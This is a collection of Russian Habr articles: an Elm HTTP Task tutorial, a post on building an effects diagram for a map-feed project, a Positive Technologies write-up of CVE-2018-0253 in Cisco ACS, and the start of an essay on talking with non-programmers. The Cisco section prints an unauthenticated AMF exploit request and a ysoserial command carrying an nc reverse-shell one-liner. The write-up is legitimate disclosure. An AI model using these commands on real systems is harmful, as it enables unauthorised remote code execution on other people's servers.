Http.send позволять выполнить запрос и по его завершению передает сообщение в функцию update указанное в первом аргументе. Сообщение несет с собой данные о результате запроса.
Http.toTask позволяет из запроса создать [Task](https://package.elm-lang.org/packages/elm-lang/core/5.1.1/Task#Task), который можно выполнить. Использование функции Http.toTask, на мой взгляд, является наиболее удобной, так как экземпляры Task можно объединяться между собой при [помощи различных функций](https://package.elm-lang.org/packages/elm-lang/core/5.1.1/Task), например [Task.map2](https://package.elm-lang.org/packages/elm-lang/core/5.1.1/Task#map2).
Рассмотрим на примере. Допустим, для сохранения данных пользователя необходимо выполнить два последовательных зависимых запроса. Пусть это будет создание поста от пользователя и сохранение фотографий к нему (используется некий CDN).
Сначала рассмотрим реализацию для случая Http.Send. Для этого нам понадобятся две функции:
```
save : UserData -> Request Http.Error UserData
save userData =
Http.post “/some/url” (Http.jsonBody (encodeUserData userData)) decodeUserData
saveImages : Int -> Images -> Request Http.Error CDNData
saveImages id images =
Http.post (“/some/cdn/for/” ++ (toString id)) (imagesBody images) decodedCDNData
```
Типы UserData и CDNData описывать не будет, для примера не важны. Функция encodeUserData является энкодером. saveImages принимает идентификатор пользовательских данных, который используется при формировании адреса, и список фотографий. Функция imagesBody формирует тело запроса типа [multipart/form-data](https://package.elm-lang.org/packages/elm-lang/http/1.0.0/Http#multipartBody). Функции decodeUserData и decodedCDNData декодируют ответ сервера для пользовательских данных и результат запроса к CDN соответственно.
Далее нам понадобятся два сообщения, результаты запроса:
```
type Msg
= DataSaved (Result Http.Error UserData)
| ImagesSaved (Result Http.Error CDNData)
```
Предположим, где-то в реализации функции update существует участок кода, который выполняет сохранение данных. Например, это может выглядеть так:
```
update : Msg -> Model -> (Model, Cmd Msg)
update msg model
case Msg of
ClickedSomething ->
(model, Http.send DataSaved (save model.userData))
```
В данном случае создается запрос и помечается сообщением DataSaved. Далее это сообщение принимается:
```
update : Msg -> Model -> (Model, Cmd Msg)
update msg model
case Msg of
DataSaved (Ok userData) ->
( {model | userData = userData}, Http.send ImagesSaved (saveImages userData.id model.images))
DataSaved (Err reason) ->
(model, Cmd.None)
```
В случае успешного сохранения, обновляем данные в модели и вызываем запрос на сохранение фотографий куда передаем полученный идентификатор пользовательских данных. Обработка сообщения ImagesSaved будет аналогична DataSaved, необходимо будет обработать успешный и провальный случаи.
Теперь рассмотрим вариант с использование функции Http.toTask. Используя описанные функции определим новую функцию:
```
saveAll : UserData -> Images -> Task Http.Error (UserData, CDNData)
saveAll : userData images =
save model.userData
|> Http.toTask
|> Task.andThen (\newUserData ->
saveImages usersData.id images
|> Http.toTask
|> Task.map (\newImages ->
(userData, newImages)
}
)
```
Теперь используя возможность комбинировать задачи, можем получить все данные в виде одного сообщения:
```
type Msg
= Saved (Result Http.Error (UserData, CDNData))
update : Msg -> Model -> (Model, Cmd Msg)
update msg model
case Msg of
ClickedSomething ->
(model, Task.attempt Saved (saveAll model.userData model.images))
DataSaved (Ok (userData, images)) ->
( {model | userData = userData, images = images}, Cmd.none)
DataSaved (Err reason) ->
(model, Cmd.None)
```
Для выполнения запросов используем функцию [Task.attempt](https://package.elm-lang.org/packages/elm-lang/core/5.1.1/Task#attempt), которая позволяет выполнить задачу. Не стоит путать с функцией [Task.perform](https://package.elm-lang.org/packages/elm-lang/core/5.1.1/Task#perform). Task.perform — позволяет выполнить задачи, которые **не могут провалиться**. Task.attempt — выполняет задачи, которые **могут провалиться**.
Такой подход получается более компактным с точки зрения количества сообщений, сложности функции update и позволяет держать логику локальнее.
В своих проектах, в приложениях и компонентах часто создаю модуль Commands.elm, в котором описываю функции взаимодействия с серверной частью с типом … -> Task Http.Error a.
Состояние выполнения запросов
-----------------------------
В процессе выполнения запросов, интерфейс часто приходится блокировать полностью или частично, а также сообщать об ошибках выполнения запросов при их наличии. В общем случае состояние запроса можно описать в виде:
1. запрос не выполнен;
2. запрос выполняется;
3. запрос выполнен успешно;
4. запрос провален.
Для подобного описания существует пакет [RemoteData](https://package.elm-lang.org/packages/krisajenkins/remotedata/5.0.0/RemoteData). По началу активно его использовал, но со временем наличие дополнительного типа [WebData](https://package.elm-lang.org/packages/krisajenkins/remotedata/5.0.0/RemoteData#WebData) стало излишним, а работа с ним утомительной. Вместо этого пакета появились следующие правила:
1. все данные от сервера объявлять типом Maybe. В этом случае Nothing, обозначает отсутствие данных;
2. объявлять в модели приложения или компоненты атрибут loading типа Int. Параметр хранит количество выполняемых запросов. Единственное неудобство этого подхода, необходимость инкрементировать и декрементировать атрибут в начале запроса и по завершению соответственно;
3. объявлять в модели приложения или компоненты атрибут errors типа List String. Данный атрибут используется для хранения данных об ошибке.
Описанная схема не сильно лучше варианта с пакетом RemoteData, как показывает практика. Если у кого-то есть иные варианты, поделитесь в комментариях.
К состоянию выполнения запроса стоит отнести прогресс загрузки из пакета [Http.Progress](https://package.elm-lang.org/packages/elm-lang/http/1.0.0/Http-Progress).
Последовательность задач
------------------------
Рассмотрим варианты последовательностей задач, которые часто встречаются в разработке:
1. последовательные зависимые задачи;
2. последовательные независимые задачи;
3. параллельные независимые задачи.
Последовательные зависимые задачи уже рассматривался выше, приведу в этом разделе общее описание и подходы к реализации.
Последовательность задач прерывается при первом провале и возвращается ошибка. В случае успеха возвращается некоторая комбинация результатов:
```
someTaskA
|> Task.andThen (\resultA ->
someTaskB
|> Task.map (\resultB ->
(resultA, resultB)
)
)
```
Данный код создает задачу типа Task error (a, b), которая может быть выполнена позже.
Функция [Task.andThen](https://package.elm-lang.org/packages/elm-lang/core/5.1.1/Task#andThen) позволяет передать новую задачу на выполнение в случае успешного завершения предыдущей. Функция [Task.map](https://package.elm-lang.org/packages/elm-lang/core/5.1.1/Task#map) позволяет преобразовать дынные результата выполения в случае успеха.
Возможны варианты, когда успешного выполнения задаче будет недостаточно и необходимо проверить согласованность данных. Допустим, что идентификаторы пользователей совпадают:
```
someTaskA
|> Task.andThen (\resultA ->
someTaskB
|> Task.andThen (\resultB ->
case resultA.userId == resultB.userId of
True ->
Task.succeed (resultA, resultB)
False ->
Task.fail “User is not the same”
)
)
```
Стоит отметить, что вместо функции Task.map используется функция Task.andThen и успешность выполнения второй задачи мы определяем самостоятельно при помощи функций [Task.succeed](https://package.elm-lang.org/packages/elm-lang/core/5.1.1/Task#succeed) и [Task.fail](https://package.elm-lang.org/packages/elm-lang/core/5.1.1/Task#fail).
Если одна из задач может провалиться и это приемлемо, то необходимо использовать функцию [Task.onError](https://package.elm-lang.org/packages/elm-lang/core/5.1.1/Task#onError) для указания значения в случае ошибки:
```
someTaskA
|> Task.onError (\msg -> Task,succeed defaultValue)
|> Task.andThen (\resultA ->
someTaskB
|> Task.map (\resultB ->
(resultA, resultB)
)
)
```
Вызов функции Task.onError должен быть объявлен непосредственно после объявления задачи.
Последовательные независимые запросы можно выполнять при помощи функций Task.mapN. Которые позволяют объединить несколько результатов задач в один. Первая упавшая задача прерывает выполнение всей цепочки, поэтому для значений по умолчанию используйте функцию Task.onError. Также ознакомьтесь с функцией [Task.sequence](https://package.elm-lang.org/packages/elm-lang/core/5.1.1/Task#sequence), она позволяет выполнить серию однотипных задач.
Параллельные задачи в текущей реализации языка не описаны. Их реализация возможна на уровне приложения или компоненты через обработку событий в функции update. Вся логика остается на плечах разработчика. | https://habr.com/ru/post/424979/ | null | ru | null |
# Диаграмма эффектов: пример построения
> Следить за обновлениями блога можно в моём канале: [Эргономичный код](https://t.me/ergonomic_code)
>
>
Это второй пост в серии, посвящённый диаграмме эффектов:
1. ["Спецификация"](https://azhidkov.pro/posts/22/05/220519-effects-diagram-intro/) - назначение диаграммы, основные концептуальные элементы и их визуальное представление.
2. "Пример построения, проект True Story Project (TSP)" - процесс построения диаграммы эффектов реального проекта.
3. "Декомпозиция системы на модули на базе диаграммы эффектов" - рациональный подход к разбиению системы на модули с помощью диаграммы эффектов и его применение для декомпозиции проекта TSP.
4. "Перевод диаграммы в код" - процесс трансляции диаграммы в исходный код на примере проекта TSP.
Введение
--------
Ведущие разработчики (ака техлиды, тимлиды, архитекторы) встречаются с целым рядом нетривиальных вопросов:
1. Как оценить трудоёмкость проекта?
2. Как обеспечить низкую сцепленность (читай: низкую стоимость) системы?
3. В каком порядке реализовывать части системы и как эффективно распараллелить работу?
4. И ключевой вопрос - а что вообще надо сделать-то?
Я для поиска ответов на эти вопросы использую диаграмму эффектов. Чтобы научить этому и свою команду, я поэтапно описал процесс создания диаграммы эффектов своего последнего коммерческого проекта.
Думаю, эта методика будет полезна не только моей команде, но и всем разработчикам, которые хотят научиться уверенно находить ответы на эти вопросы.
Диаграмма эффектов системы актуализации данных в Яндекс.Картах и 2Гис (True Story Project, TSP)
-----------------------------------------------------------------------------------------------
Я только что сделал небольшой проект по автоматизации обновления информации о компании в Яндекс.Картах и 2Гис. Это идеальный проект для иллюстрации диаграммы эффектов - он небольшой, но включает все основные типы событий и ресурсов (картинка кликабельна):
Все новые проекты я начинаю с диаграммы эффектов и этому есть ряд причин.
Самая главная: построив диаграмму эффектов, я получаю целостную картинку того, что необходимо сделать.
Затем, на этапе оценки, формула `(<кол-во операций>+<кол-во ресурсов>) * 8 часов` даёт хорошее первое приближение трудоёмкости работы, если все операции и ресурсы типовые. По этой формуле ожидаемая трудоёмкость реализации проекта TSP составляет `14 * 8 = 112` часов. А фактически весь проект я сделал за 130 часов, включая построение диаграммы эффектов и всевозможные административные издержки.
Глядя на диаграмму эффектов, я могу убедиться, что ничего забыл и понимаю, как реализовать каждую функцию системы. Это даёт мне высокую степень уверенности в точности оценки.
Далее, на этапе проектирования, я использую диаграмму эффектов для разбиения системы на модули с высокой связанностью и низкой сцепленностью.
Наконец, на этапе планирования работ полученные модули, а также явные и, что важнее, неявные связи между ними я использую для определения порядка выполнения и возможности распараллеливания работ.
Процесс построения диаграммы
----------------------------
Этот проект я сделал по "Time&Material", поэтому на самом деле в рамках реализации сделал не полную диаграмму, приведённую выше, а [краткую с событиями](https://azhidkov.pro/posts/22/05/220519-effects-diagram-intro/#_%D0%BA%D1%80%D0%B0%D1%82%D0%BA%D0%B0%D1%8F_%D0%BD%D0%BE%D1%82%D0%B0%D1%86%D0%B8%D1%8F) - её построение я и опишу.
Итак, поехали. На старте у меня было ТЗ, которое можно ужать до следующих пунктов:
1. У заказчика есть проблема: ему необходимо держать информацию о его организациях в ряде геосервисов в актуальном состоянии.
2. На первом этапе необходимо актуализировать информацию в Яндекс.Картах и 2Гис.
3. Организаций у заказчика существенно больше тысячи и построение фида (жаргонное название списка организаций заказчика) требует существенного времени и ресурсов. Поэтому фид необходимо обновлять по расписанию.
4. Интеграция с Яндекс Картами заключается в том, что робот Яндекса приходит на специально выделенный URL и забирает оттуда фид в [XML-формате](https://yandex.ru/support/business-priority/branches/xml-feed-sprav.html#q1__6).
5. Яндекс требует, чтобы фид всегда был доступен по заданному URL, поэтому необходимо обеспечить постоянное хранение последнего сгенерированного фида.
6. Интеграция с 2Гисом выполняется посредством отправки фида на Email, но уже в формате xlsx.
7. Список организаций необходимо получать из специального сервиса заказчика по REST API.
8. Ещё часть данных хранится во внутренней СУБД заказчика и извлекается с помощью JDBC и SQL-запроса, предоставленного заказчиком.
9. Наконец, фид может содержать ссылки на фотографии организаций, и управление этими фотографиями должен обеспечить разрабатываемый сервис. Доступ к этой функциональности должен быть обеспечен посредством REST API. Конкретное хранилище изображений можно выбрать на своё усмотрение.
Работу можно начать сразу с построения диаграммы эффектов, но я обычно в первом проходе составляю просто списки событий, операций и ресурсов, т.к. по мере вычитки ТЗ их состав наверняка будет меняться и уточняться. Кроме того, при первой вычитке ТЗ я обычно строю ER-диаграмму, но в данном случае модель данных примитивная я не буду усложнять пример её построением.
Поэтому давайте пройдёмся по "ТЗ" и сделаем на его основе три артефакта: список операций системы, список событий системы и список ресурсов.
### Шаг №1: построить списки событий, операций и ресурсов
Я буду описывать процесс так, как будто в первый раз вычитываю ТЗ сверху вниз. Поэтому некоторые элементы сначала обозначу как непонятные, а потом уточню, дойдя до соответствующего пункта в ТЗ.
Пройдёмся по пунктам ТЗ.
| | |
| --- | --- |
| У заказчика есть проблема: ему необходимо держать информацию о его организациях в ряде геосервисов в актуальном состоянии. | Из этого пункта мы можем сделать предположение, что у нас будет ресурс **"Коллекция организаций"**, но пока не понятно, как он будет реализован . Добавляем его в соответствующий список со знаком "?". |
| На первом этапе необходимо актуализировать информацию в Яндекс.Картах и 2Гис. | Пункт №2 говорит о том, что нам потребуются ещё 2 ресурса - **"Интеграция с Яндекс.Картами"** и **"Интеграция с 2Гис"** - также добавляем в список с "?". |
| Организаций у заказчика существенно больше тысячи и построение фида требует существенного времени и ресурсов. Поэтому фид необходимо обновлять по расписанию. | Этот пункт даёт нам событие **"Scheduler: Истёк срок действия фида"** и операцию **"Обновить фид"** - добавляем в списки событий и операций. Уже сейчас понятно, что эта операция будет связана со всеми известными на данный момент ресурсами - можно это как-то отметить в списке, но я на первом проходе не обозначаю связи, чтобы держать списки максимально простыми. |
| Интеграция с Яндекс Картами заключается в том, что робот Яндекса приходит на специально выделенный URL и забирает оттуда фид в [XML-формате](https://yandex.ru/support/business-priority/branches/xml-feed-sprav.html#q1__6). | Пункт №4 проясняет интеграцию с Яндексом. На самом деле у нас pull-модель (Яндекс "вытягивает" фид из нашей системы), а не push-модель (когда мы "толкаем" фид в Яндекс). Это даёт нам новое событие и операцию - **"HTTP: Запрос фида"** и операцию **"Выдать фид Яндекса"**.Тут мы должны задуматься, какой ресурс обеспечит реализацию операции - сейчас у нас такого нет, зато есть устаревший **"Интеграция с Яндекс.Картами"**. Очевидно, нам нужен какой-то кэш, куда операция **"Обновить фид"** будет писать данные, а операция **"Выдать фид Яндекса"** будет их оттуда забирать - меняем название ресурса в списке на **"Фид Яндекса"**. |
| Яндекс требует, чтобы фид всегда был доступен по заданному URL, поэтому необходимо обеспечить постоянное хранение последнего сгенерированного фида. | Пункт №5 дальше уточняет этот ресурс - это должен быть какой-то постоянный кэш, добавляем соответствующую пометку в список. |
| Интеграция с 2Гисом выполняется посредством отправки фида на Email, но уже в формате xlsx. | Этот пункт проясняет способ реализации интеграции с 2Гис - Email, уточняем его в списке. |
| Список организаций необходимо получать из специального сервиса заказчика по REST API. | Пункт №7 уточняет способ реализации ресурса **"Коллекция организаций"** - REST, уточняем его в списке. |
| Ещё часть данных хранится во внутренней СУБД заказчика и извлекается с помощью JDBC и SQL-запроса, предоставленного заказчиком. | Пункт №8 определяет ещё один ресурс операции **"Обновить фид"** - **"JDBC: Дополнительная информация"**, добавляем его в список. |
| Фид может содержать ссылки на фотографии организаций, и управление этими фотографиями должен обеспечить разрабатываемый сервис. Доступ к этой функциональности должен быть обеспечен посредством REST API. Конкретное хранилище изображений можно выбрать на своё усмотрение. | Пункт №9 определяет новый ресурс **"Изображения"** и набор операций **"Загрузить изображение"**, **"Скачать изображение"**, **"Выдать список изображений организации"**, **"Удалить изображение"**, с набором соответствующих событий об обращениях к HTTP-эндпоинтам. |
В итоге у нас получились следующие списки.
### События:
1. Scheduler: Истёк срок действия фида;
2. HTTP: Запрос фида;
3. HTTP: Запрос загрузки нового изображения;
4. HTTP: Запрос изображения;
5. HTTP: Запрос списка изображений организации;
6. HTTP: Запрос удаления изображения.
### Операции:
1. Обновить фид;
2. Выдать фид Яндекса;
3. Загрузить изображение;
4. Скачать изображение;
5. Выдать список изображений организации;
6. Удалить изображение.
### Ресурсы:
1. REST: Коллекция организаций;
2. Постоянный Кэш?: Фид Яндекса;
3. Email Server: Интеграция с 2Гис;
4. JDBC: дополнительная информация;
5. ???: Изображения.
Теперь построим диаграмму эффектов, просто перенося в неё элементы списков, попутно отмечая связи между ними.
### Шаг №2: нарисовать остальную сову (построить диаграмму эффектов)
Как именно переносить элементы из списков на диаграмму - сверху вниз, снизу вверх или в случайном порядке - не так важно. Я предпочитаю идти по событиям, раскрывая целиком все эффекты этого события.
Например, если начать с первого события **"Истёк срок действия фида"**, то мы раскрутим сразу половину диаграммы - само событие **"Истёк срок действия фида"**, операцию **"Обновить фид"**, ресурсы **"Коллекция организаций"**, **"Дополнительная информация"**, **"Изображения"**, **"Фид Яндекса"** и **"Интеграция с 2Гис"** Добавляем всё это на диаграмму, связываем операции с ресурсами соответствующими эффектами и получаем примерно такую картину:
После взгляда на эту диаграмму у меня загорается "алярма!" - две красные стрелки из одной операции часто свидетельствуют о нарушении одного из принципов проектирования:
1. низкой сцепленности, высокой связности;
2. единственности ответственности;
3. открытости/закрытости.
Это не всегда так, но в данном случае текущая версия диаграммы точно нарушает третий из них - добавление нового геосервиса потребует модификации существующего кода. А у нас в бэклоге, по секрету, болтается ещё потенциальная интеграция с Гуглом. Про сцепленность и единственность ответственности тоже можно порассуждать, но не буду, чтобы не размывать фокус поста.
Самым простым и универсальным способом расцепить эффекты записи является шина событий. В нашем случае она вполне подойдёт. Для того чтобы провести этот "рефакторинг" нам надо добавить новый ресурс **"Тема (Topic) 'Сгенерирован новый фид'"** и соответствующее событие **"Оповещение о генерации нового фида"**, которое будет обрабатываться новыми операциями **"Обновить фид Яндекса"** и **"Отправить фид в 2Гис"**. Добавив всё это на диаграмму (про списки можно уже забыть), получаем новую версию:
Теперь обновление фида открыто для расширения новыми интеграциями без изменения существующего кода.
Затем я обращаю внимание на то, что операция **"Обновить фид"** будет достаточно сложной, так как требует много ресурсов. Поэтому я задумываюсь о том, как она будет реализована - *"я пробегусь по списку организаций, для каждой организации подтяну дополнительную информацию и изображения, данные свяжу через такие-то поля - все необходимые ресурсы есть, верхнеуровнево всё понятно"*, подумаю я.
Ещё я подумаю, что мне надо будет убедиться в том, что внешние ресурсы предоставляют мне нужное API. В частности, при выборе способа реализации ресурса **"Изображения"**, который у меня пока под вопросом, мне надо будет убедиться, что выбранный способ обеспечит возможность хранения привязки файлов изображений к организациям. Но я это пока просто помечу в заметках по проекту и продолжу строить диаграмму эффектов.
На этом ветка обработки события **"Истёк срок действия фида"** у нас заканчивается и мы можем переходить к следующему событию - **"Запрос фида"**. Для этого события уже всё готово - осталось только привязать его к ресурсу **"Фид Яндекса"** через операцию **"Выдать фид Яндекса"**.
Далее мы аналогичным образом добавляем на диаграмму события и операции, связанные с изображениями.
Теперь по реализации осталось два вопроса: как реализовать ресурсы **"фид Яндекса"** и **"Изображения"**? Сами фотографии явно лучше хранить в хранилище BLOB-ов вроде Amazon S3. Там же можно хранить и фид Яндекса - у этого ресурса тривиальное API сохранения и получения файла по ключу, а размер файла исчисляется мегабайтами.
Но при ближайшем рассмотрении выясняется, что с фотографиями есть нюанс - помимо операций по ключу есть и поиск по организации. Теоретически это можно реализовать посредством bucket-ов или "папок" S3, но на мой вкус это решение уже начинает дурно пахнуть. А чуть позже, когда мы внимательнее изучим формат фида Яндекса, мы увидим, что у фотографий есть ещё и метаинформация в виде типа и тэгов - хранить это в S3 будет уже совсем плохой идеей. Значит нам нужна более продвинутая СУБД. У меня "продвинутой СУБД по умолчанию" является PostgreSQL.
PostgreSQL отлично справится с хранением привязки и метаинформации изображений, но он не предназначен для хранения сотен гигабайт самих изображений. Поэтому абстрактный ресурс **"Изображения"** будет состоять из двух технических частей - **"Файлы"** и **"Метаинформация"**. Это нам создаст определённые проблемы с согласованностью данных (существование файла без метаинформации или наоборот). Однако, это будет не критично, если упорядочить операции добавления и удаления правильным образом - добавление файла, добавление меты, удаление меты, удаление файла. В этом случае проблема будет заключаться в том, что в случае ошибок, в S3 будут оставаться мусорные файлы, но если это вдруг действительно станет проблемой - можно будет достаточно безболезненно реализовать сборку этого мусора.
Все эти соображения в качестве примечания или описания ресурса стоит внести на диаграмму, если её целью является документирование реализации (т.е. планируются её долгий срок жизни или широкая аудитория). Я же эту диаграмму делаю для себя, чтобы спроектировать систему, оценить и спланировать работы. Поэтому не стану загромождать диаграмму этой информацией.
В итоге получаем финальную версию диаграммы эффектов проекта True Story в краткой нотации с событиями:
### Заключение
Построение диаграммы эффектов уже дало нам много полезных штук:
1. Хорошее представление о том, что надо сделать - какие операции есть у системы и что они должны делать.
2. Список ключевых работ, которые необходимо выполнить для решения задачи - это можно взять за основу для оценки трудоёмкости работ.
3. Возможность увидеть часть реализации, в которой можно было легко ошибиться и избежать этой ошибки.
4. Интуитивно-понятную иллюстрацию для декомпозиции системы на модули - вы же тоже видите на диаграмме модули изображений, фида, интеграции с Яндексом и 2Гисом?
Но вернёмся к нашим изначальным вопросам:
1. Как оценить трудоёмкость задачи?
2. Как обеспечить низкую сцепленность системы?
3. В каком порядке реализовывать части системы и как эффективно распараллелить работу?
4. И ключевой вопрос - а что вообще надо сделать-то?
На последний вопрос мы получили исчерпывающий ответ.
Для ответа на первый вопрос у нас появились все входные данные и осталась только механическая работа по оценке простых и понятных блоков.
А вот ответов на второй и третий вопросы мы пока не получили. Для того чтобы их найти, нам необходимо декомпозировать систему на модули, о чём я напишу в следующем посте. | https://habr.com/ru/post/671226/ | null | ru | null |
# Опасный протокол AMF3
Недавно Markus Wulftange из Code White [поделился](https://codewhitesec.blogspot.ru/2017/04/amf.html) интересным исследованием о том, как можно атаковать веб-приложение, если оно написано на Java и использует протокол AMF3. Этот протокол можно встретить там, где используется Flash и требуется обмен данными между SWF объектом и серверной частью приложения. Протокол позволяет передавать на сервер сериализованные объекты типа flash.utils.IExternalizable. Эти объекты на стороне сервера десериализуются, происходит конверсия типов, и flash.utils.IExternalizable превращается в java.io.Externalizable. Стоит отметить, что классы, которые реализуют этот интерфейс, сами полностью контролируют процессы собственной сериализации и десериализации. Это значит, что можно постараться найти такой класс, при десериализации которого будет выполнен произвольный код.
Маркус исследовал все классы из OpenJDK 8u121, реализующие интерфейс java.io.Externalizable и обнаружил, что в их числе находятся классы sun.rmi.server.UnicastRef и sun.rmi.server.UnicastRef2, связанные с механизмом RMI. Если правильно подготовить объект одного из этих классов (инициализировать его ссылкой на хост атакующего), а затем передать его на уязвимый сервер, то JVM сервера зарегистрирует ссылку LiveRef на «удаленный объект». После этого механизм сборки мусора попытается установить JRMP соединение с указанным хостом. А как известно, протокол JRMP подразумевает обмен сериализованными объектами Java. Это можно использовать для проведения атак, связанных с десериализацией.
[](https://habr.com/company/pt/blog/414657/)
CVE-2018-0253 или как мы взломали Cisco ACS
-------------------------------------------
Однажды, во время одного из проводимых нами тестов, мы получили доступ к серверу Cisco ACS 5.8. При этом мы имели возможность подключаться к работающему серверу через веб-интерфейс. В ходе анализа веб-интерфейса мы обнаружили, что от клиента на сервер отправляются POST запросы, содержащие объекты AMF3.

*Позже было замечено, что сервер принимает такие POST запросы без авторизации*
Заголовки HTTP ответов говорили о том, что веб-интерфейс реализован на Java. Значит, можно попробовать провести атаку.
Скачаем [оригинальный эксплоит](https://gist.githubusercontent.com/mwulftange/317c118dfcc2c90d0420e1b438558b23/raw/d71345fb7a600f3d3ef861f0f1070c4dfab260a6/Amf3ExternalizableUnicastRef.java) и поменяем переменные host и port. При компиляции нужно убедиться, что CLASSPATH содержит путь к библиотеке Apache BlazeDS. Запуск скомпилированного кода выведет AMF пакет: сериализованный объект класса UnicastRef, который проинициализирован ссылкой LiveRef на наш сервер.
```
javac Amf3ExternalizableUnicastRef.java && java Amf3ExternalizableUnicastRef > payload
```
Отправляем HTTP-запрос, содержащий сгенерированный AMF пакет на Cisco ACS и видим попытку соединения.
```
curl -X POST -H "Content-type: application/x-amf" --data-binary @payload -k \
https://[IP адрес Cisco ACS]/acsview/messagebroker/amfsecure
```

Так произошло, потому что на сервере установлена уязвимая версия библиотеки Apache BlazeDS. Cisco ACS распаковал AMF пакет, десериализовал переданный нами объект, и теперь сборщик мусора пытается установить JRMP соединение на наш сервер. Если на этот запрос ответить RMI-объектом, Cisco ACS десериализует полученные данные, и выполнит наш код.
Используем утилиту ysoserial. Она выступит в роли JRMP-сервера: клиент при подключении получит объект из библиотеки CommonsCollection1, внутри которого — код для выполнения реверс-шелла.
```
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 443 CommonsCollections1 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP адрес компьютера атакующего] 80 >/tmp/f'
```
Теперь повторим отправку AMF пакета и получим reverse shell:

Вместо заключения
-----------------
Найденная уязвимость позволяет неавторизованному атакующему выполнять произвольные команды от привилегированного пользователя. Производителем она была [оценена в 9.8 балла по шкале CVSS](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180502-acs1). Советуем всем, кто использует данное ПО, установить последний патч.
Уязвимое ПО:
* Cisco ACS < 5.8.0.32.7 – уязвима, авторизация не требуется;
* Cisco ACS 5.8.0.32.7, 5.8.0.32.8 – уязвима, требуется авторизация;
* Начиная с Cisco ACS 5.8.0.32.9 – уязвимость закрыта.
**Авторы**: Михаил Ключников и Юрий Алейнов, Positive Technologies | https://habr.com/ru/post/414657/ | null | ru | null |
# Разговаривать — это трудно. Эссе об общении с непрограммистами
У программистов есть разные поговорки о трудных проблемах. Наверное, мой [любимый вариант](https://twitter.com/secretGeek/status/7269997868): «В информатике две трудные проблемы: недействительность кэша, присвоение имён и ошибки на единицу».
Я пишу программное обеспечение достаточно давно, чтобы столкнуться с каждой из этих проблем. В то же время я выступаю со стороны бизнеса и объясняю клиентам техническую часть нашего продукта, поэтому постоянно сталкиваюсь с непрограммистами. Самое важное — правильно передать идею или концепцию таким образом, чтобы другие её поняли.
А это очень трудно.
Как и во всех профессиональных сферах, программисты разработали собственный жаргон для быстрой передачи концепций.
Технолепет
==========
Жаргон очень важен. Если мы с коллегой выбираем алгоритм для решения конкретной задачи, то можем сказать, что *«первый вариант `O(n^2)` с минимальным оверхедом со старта, а второй амортизируется до `O(n log n)`, но с дорогой установкой и настройкой»*.
Это единственное предложение многое говорит, для каких сценариев следует использовать алгоритм и как они реализуются под капотом:
* Вариант А отлично подходит для системы с небольшим количеством входных данных.
* Вариант Б отлично подходит для работы с действительно большим количеством входных данных, где большие затраты на установку и настройку системы будут компенсированы лучшей производительностью в процессе работы.
* Если собираетесь использовать алгоритм в цикле, следует выбрать первый вариант, чтобы избежать дорогостоящего кода установки и настройки.
* Возможно, мы сможем снизить стоимость установки варианта Б с помощью кэширования.
* Вероятно, в варианте А каждый элемент входных данных сравнивается со всеми остальными (например, `for x in inputs { for y in inputs { if some_condition(x, y) { ... }}}`).
* Вероятно, вариант Б сначала создаёт дерево, затем выполняет линейный поиск с последующим поиском в этом дереве.
Как видите, мы смогли передать несколько абзацев информации в одном предложении, просто используя правильные термины.
> В данном случае я имел в виду алгоритмы для обнаружения столкновений, то есть пересечений между собой двух или больше объектов. Первый проверяет все возможные комбинации входных данных, в то время как второй использует [дерево квадрантов](https://en.wikipedia.org/wiki/Quadtree) или [двоичное разбиение пространства](https://en.wikipedia.org/wiki/Binary_space_partitioning), чтобы проверять только близкие элементы.
Но если у вас встреча с людьми из-за пределов мира программирования (например, инженеры-механики или электрики, менеджеры, маркетологи), этот технический жаргон только оскорбит и запутает людей, не передавая почти никакой ценной информации.
Это то, что я называю технолепетом, бормотанием программиста.
Скажу прямо, обычно эти детали и термины не нужны людям из других областей, и им действительно всё равно.
Например, вы объясняете удивительную новую функцию, которая находит кратчайший путь от A до Б, генерируя [навигационную сетку](https://en.wikipedia.org/wiki/Navigation_mesh) и применяя [поиск A\*](https://en.wikipedia.org/wiki/A*_search_algorithm).
Ни в коем случае не нужно описывать новую функцию как в предыдущем предложении. Вместо этого скажите что-то вроде такого: *«Мы вычисляем кучу возможных путей, а затем применяем умные алгоритмы, которые используются в игровой индустрии, чтобы найти лучший маршрут»*.
Не имеет значения, что мы здесь используем именно поиск A\* (в отличие от алгоритма Дейкстры или поиска по ширине). Неважно, что в играх поиск A\* используется не только для перемещения персонажей. Собеседнику достаточно знать, что вы можете найти хороший путь от А до Б и что мы используем надёжные инструменты, уже проверенные в других областях.

*Не мешает показать иллюстрацию, что вы имеете в виду…*
Мне случалось наблюдать, как более опытные программисты используют техножаргон для демонстрации превосходства, чтобы показать свой невероятный интеллект и установить доминирование. Это действительно раздражает.
Не поймите неправильно, иногда бывают ситуации, когда достаточно компетентный собеседник спрашивает: *«Это очень сложно, почему просто не сделать X?»* — и вам придётся показать, что вы здесь эксперт, а он не знает, о чём говорит… но всё равно это можно сделать разными способами.
Не пытайтесь использовать технолепет для удовлетворения своего эго, он подвергает людей остракизму и позорит нашу профессию.
Относитесь с уважением
======================
Так мы плавно переходим к следующему пункту… не забывайте об уважении.
Многие люди, с которыми я работаю, действительно умны и эксперты в своих областях, но необязательно у них хватает знаний и опыта в создании информационных систем.
Объясняя сложную проблему, зачастую лучше упростить понятия. Но старайтесь не быть снисходительным.
Тот инженер-программист, о котором я упоминал, часто отвечал: *«Это… сложно»*, когда «нормальный» человек спрашивал, как работает та или иная функция. Как будто код настолько мудрёный, что без 20-летнего стажа программирования его не понять.
Не надо так.
Лучший ответ: *«Если немножко упростить, то сначала делаем X, затем делаем Y и, наконец, делаем Z, однако нужно иметь в виду десяток пограничных ситуаций (возможно, объясните одну или две), но суть такая»*. Ваши коллеги умны и без техножаргона вполне способны вас понять.
Ещё один действительно полезный приём — использовать непрограммиста в качестве деки, вроде резиновой утки. Если работаете над сложной проблемой, объясните ему простыми словами свой вариант решения и спросите, можно ли придумать вариант получше.
Наша компания работает в области ЧПУ, то есть имеет некоторое отношение к реальному миру (например, когда вы пытаетесь реализовать [компенсацию ширины разреза](https://www.esabna.com/us/en/education/blog/what-is-cutting-kerf.cfm)). Инженеры действительно хороши в анализе проблем, связанных с физикой и геометрией.
Персонификация, преувеличения и аналогии
========================================
Люди — существа социальные. Мы запрограммированы на понимание взаимоотношений и любим аналогии, чтобы соотнести новые понятия с уже известными. Когда разговариваете с кем-то, можно воспользоваться этими приёмами, чтобы довести до понимания сложные темы.
